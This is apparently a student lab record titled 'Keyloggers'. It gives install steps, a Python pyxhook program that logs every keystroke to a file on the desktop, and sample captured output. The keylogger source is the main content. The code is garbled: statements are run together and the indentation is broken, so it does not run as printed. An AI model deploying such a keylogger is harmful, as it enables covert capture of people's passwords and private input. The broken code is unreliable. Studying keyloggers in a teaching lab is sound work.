EXP NO:7   **DATE:**

KEYLOGGERS

Aim: To write a python program to implement keylogger to record keystrokes in Linux.

Algorithm:
- Step 1: Check if python-xlib is installed. If not, type the command: `dnf install python-xlib -y`.
- Step 2: Run the pyxhook file using the command: `python pyxhook.py`.
- Step 3: Create a file named `key.py`.
- Step 4: Run `key.py` to record all keystrokes.
- Step 5: Open the `file.log` file to view all the recorded keystrokes.

Program:

```python
import os
import pyxhook

log_file = os.environ.get('pylogger_file', os.path.expanduser('~/Desktop/file.log'))

cancel_key = ord(os.environ.get('pylogger_cancel', '`')[0])

if os.environ.get('pylogger_clean', None) is not None:     try:
     os.remove(log_file)     except
EnvironmentError:
   pass
def OnKeyPress(event):     with
open(log_file, 'a') as f:
     f.write('{}\n'.format(event.Key))
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()
try:
   new_hook.start() except KeyboardInterrupt:     pass except
Exception as ex:     msg = 'Error while catching
events:\n{}'.format(ex)     with open(log_file, 'a') as f:
     f.write('\n{}'.format(msg))
```

Output:

w w w
period
h d
f c b a
n k
period
c
o m
Return
3
0
